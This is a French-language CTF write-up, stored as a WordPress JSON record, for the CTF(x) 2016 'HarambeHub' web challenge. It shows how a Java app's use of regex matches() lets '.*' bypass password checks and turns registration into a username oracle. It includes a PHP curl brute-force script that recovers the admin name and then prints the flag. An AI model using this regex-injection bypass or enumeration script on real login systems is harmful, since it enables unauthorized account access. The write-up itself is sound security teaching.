{"id":2726,"date":"2016-08-29T22:11:52","date_gmt":"2016-08-29T20:11:52","guid":{"rendered":"https:\/\/0x90r00t.com\/fr\/?p=2726"},"modified":"2016-08-29T22:30:46","modified_gmt":"2016-08-29T20:30:46","slug":"ctfx-2016-web-100-harambehub-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2016\/08\/29\/ctfx-2016-web-100-harambehub-write-up\/","title":{"rendered":"[CTF(x) 2016] [Web 100 &#8211; HarambeHub] Write Up"},"content":{"rendered":"<h2>Description<\/h2>\n<blockquote><p>This site was created in honor of harambe: http:\/\/problems.ctfx.io:7003<\/p>\n<p>Problem author: omegablitz<\/p>\n<p><a href=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/08\/ctfx-HarambeHub.zip.zip\">Fichiers.zip<\/a><\/p><\/blockquote>\n<p><!--more--><\/p>\n<h2>Resolution<\/h2>\n<p>Les sources de l&rsquo;\u00e9preuve sont \u00e0 disposition, l&rsquo;application permet de cr\u00e9er un compte et de r\u00e9cup\u00e9rer les informations d&rsquo;un compte existant si on connait son username et son password.<\/p>\n<p>Le code source nous montre qu&rsquo;a priori il n&rsquo;est pas possible d&rsquo;y avoir un compte disposant du m\u00eame username :<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\r\nfor(User user : User.users) {\r\n\u00a0\u00a0\u00a0\u00a0if(user.getUsername().matches(username)) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return &quot;FAILED: User with that name already exists!&quot;;\r\n\u00a0\u00a0\u00a0\u00a0}\r\n}\r\n<\/pre>\n<p>Apr\u00e8s un test on se rend compte que l&rsquo;enregistrement avec un m\u00eame username est possible, aucune erreur n&rsquo;est lev\u00e9e.<\/p>\n<p>Voyons voir la suite du code :<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\r\nnew User(&quot;&#x5B;Member] &quot; + username, password, realName);\r\n<\/pre>\n<p>et<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\r\npublic User(String username, String password, String realName) {\r\n    this.username = username;\r\n    this.master = password;\r\n    this.realName = realName;\r\n    users.add(this);\r\n}\r\n<\/pre>\n<p>Ici on voit que le username est transform\u00e9 en \u00ab\u00a0[Member] &lt;username&gt;\u00a0\u00bb et non pas &lt;username&gt; puis enregistr\u00e9 tel quel dans la base de donn\u00e9es, ce qui explique pourquoi nous n&rsquo;avons jamais de collision.<\/p>\n<p>Pour obtenir une collision, il faudrait demander comme username \u00ab\u00a0[Member] &lt;username&gt;\u00a0\u00bb apr\u00e8s s&rsquo;\u00eatre d\u00e9j\u00e0 enregistr\u00e9 avec &lt;username&gt;.<\/p>\n<p>Et maintenant, on fait quoi ? Un petit tour dans la partie du code s&rsquo;occupant de la r\u00e9cup\u00e9ration du realname :<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\r\nfor(User user : User.users) {\r\n    if(user.verify(username, password)) {\r\n        return user.getRealName();\r\n    }\r\n}\r\n<\/pre>\n<p>et<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\r\npublic boolean verify(String username, String password) {\r\n    return this.username.equals(username) &amp;&amp; this.master.matches(password);\r\n}\r\n<\/pre>\n<p>Attendez, c&rsquo;est quoi cette habitude d&rsquo;utiliser .matches() au lieu de .equals() ? On a d\u00e9j\u00e0 vu \u00e7a dans la v\u00e9rification de username existant et maintenant ici.<\/p>\n<p>.matches() prenant en param\u00e8tre une regexp, cela veut dire qu&rsquo;en passant \u00ab\u00a0.*\u00a0\u00bb comme password, nous pouvons utiliser celui que nous voulons et bypass la v\u00e9rification. Il reste maintenant \u00e0 trouver le username associ\u00e9 au realname int\u00e9ressant.<\/p>\n<p>On sait que l&rsquo;on peut s&rsquo;enregistrer qu&rsquo;avec un username qui n&rsquo;existe pas d\u00e9j\u00e0 et que celui-ci est v\u00e9rifi\u00e9 via une&#8230; regexp, \u00e9ssayons de nous enregistrer avec comme username \\[Admin\\] .*. Oh, le pseudo est d\u00e9j\u00e0 pris ? \ud83d\ude42<\/p>\n<p>Quelques manipulations manuelles nous ont permi d&rsquo;en d\u00e9duire que le username faisait 15 caract\u00e8res, place au bruteforce pour le trouver :<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n&lt;?php\r\n function test($username) {\r\n  return shell_exec(&quot;curl --silent --data 'username=&quot;.rawurlencode($username).&quot;&amp;password=xyz&amp;real_name=test' 'http:\/\/problems.ctfx.io:7003\/users'&quot;);\r\n }\r\n \r\n $chars = implode(range('a','z'));\r\n $chars .= strtoupper($chars);\r\n $len = strlen($chars);\r\n $buf = '';\r\n\r\n for ($i = 0; $i &lt; 15; ++$i) {\r\n  for ($j = 0; $j &lt; $len; ++$j) {\r\n   echo &quot;Trying {$chars&#x5B;$j]}\\n&quot;;\r\n   $ret = test('\\&#x5B;Admin\\] '.$buf.$chars&#x5B;$j].str_repeat('.', 14-$i));\r\n   if (preg_match('#^FAILED#', $ret)) {\r\n    $buf .= $chars&#x5B;$j];\r\n    echo &quot;Found {$chars&#x5B;$j]}\\n&quot;;\r\n    continue 2;\r\n   }\r\n  }\r\n }\r\n \r\n echo &quot;Final : $buf\\n&quot;;\r\n<\/pre>\n<p>Au bout de quelques secondes, le username tombe :<br \/>\n<a href=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/08\/Screenshot-at-2016-08-28-103452.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2729\" src=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/08\/Screenshot-at-2016-08-28-103452.png\" alt=\"HarambeHub-bf\" width=\"701\" height=\"393\" srcset=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/08\/Screenshot-at-2016-08-28-103452.png 701w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/08\/Screenshot-at-2016-08-28-103452-300x168.png 300w\" sizes=\"auto, (max-width: 701px) 100vw, 701px\" \/><\/a>Il ne reste plus maintenant qu&rsquo;\u00e0 r\u00e9cup\u00e9rer le realname de <em><strong>[Admin]<\/strong> Arxenixisaloser<\/em> via notre navigateur favori en utilisant le password passe-partout \u00ab\u00a0.*\u00a0\u00bb :<br \/>\n<a href=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/08\/Screenshot-at-2016-08-28-103617.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2730\" src=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/08\/Screenshot-at-2016-08-28-103617.png\" alt=\"final-flag\" width=\"765\" height=\"93\" srcset=\"https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/08\/Screenshot-at-2016-08-28-103617.png 765w, https:\/\/0x90r00t.com\/wp-content\/uploads\/2016\/08\/Screenshot-at-2016-08-28-103617-300x36.png 300w\" sizes=\"auto, (max-width: 765px) 100vw, 765px\" \/><\/a>Le flag est : ctf(h4r4mb3_d1dn1t_d13_4_th1s_f33ls_b4d)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Description This site was created in honor of harambe: http:\/\/problems.ctfx.io:7003 Problem author: omegablitz Fichiers.zip<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[130,35,196],"tags":[198,197,55],"class_list":["post-2726","post","type-post","status-publish","format-standard","hentry","category-2016-fr","category-ctf-fr","category-ctfx","tag-bf","tag-java","tag-regexp"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2726","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=2726"}],"version-history":[{"count":5,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2726\/revisions"}],"predecessor-version":[{"id":2738,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2726\/revisions\/2738"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=2726"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=2726"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=2726"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}